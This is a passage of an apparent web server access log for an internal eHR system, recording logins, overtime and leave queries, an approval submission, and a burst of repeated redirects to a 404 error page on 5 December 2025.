"http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:34 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:35 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:36 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:36 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:36 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:36 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:36 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:36 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:36 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:36 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:36 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:36 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:37 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:37 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.153 - - [05/Dec/2025:13:07:37 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [05/Dec/2025:13:07:37 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.52 - - [05/Dec/2025:13:08:07 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:13:08:07 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.52 - - [05/Dec/2025:13:08:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:13:08:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.52 - - [05/Dec/2025:13:08:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:13:08:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.52 - - [05/Dec/2025:13:08:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:13:08:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 192.168.11.52 - - [05/Dec/2025:13:08:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165767 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:13:08:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165767 192.168.11.52 - - [05/Dec/2025:13:08:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:13:08:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 192.168.11.52 - - [05/Dec/2025:13:08:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 23789 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [05/Dec/2025:13:08:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 23789 192.168.12.59 - - [05/Dec/2025:13:14:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:13:14:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.59 - - [05/Dec/2025:13:14:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.59 - - [05/Dec/2025:13:14:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:13:14:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:13:14:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.59 - - [05/Dec/2025:13:14:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:13:14:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.59 - - [05/Dec/2025:13:14:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:13:14:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:13:14:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:13:14:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.12.59 - - [05/Dec/2025:13:14:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:13:14:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.40.45 - - [05/Dec/2025:13:22:10 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:10 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.45 - - [05/Dec/2025:13:22:13 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:13 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.45 - - [05/Dec/2025:13:22:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.40.45 - - [05/Dec/2025:13:22:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 86157 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 86157 192.168.40.45 - - [05/Dec/2025:13:22:31 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:31 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132751%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132751&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [05/Dec/2025:13:22:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132751%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132751&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [05/Dec/2025:13:22:33 +0800] "GET 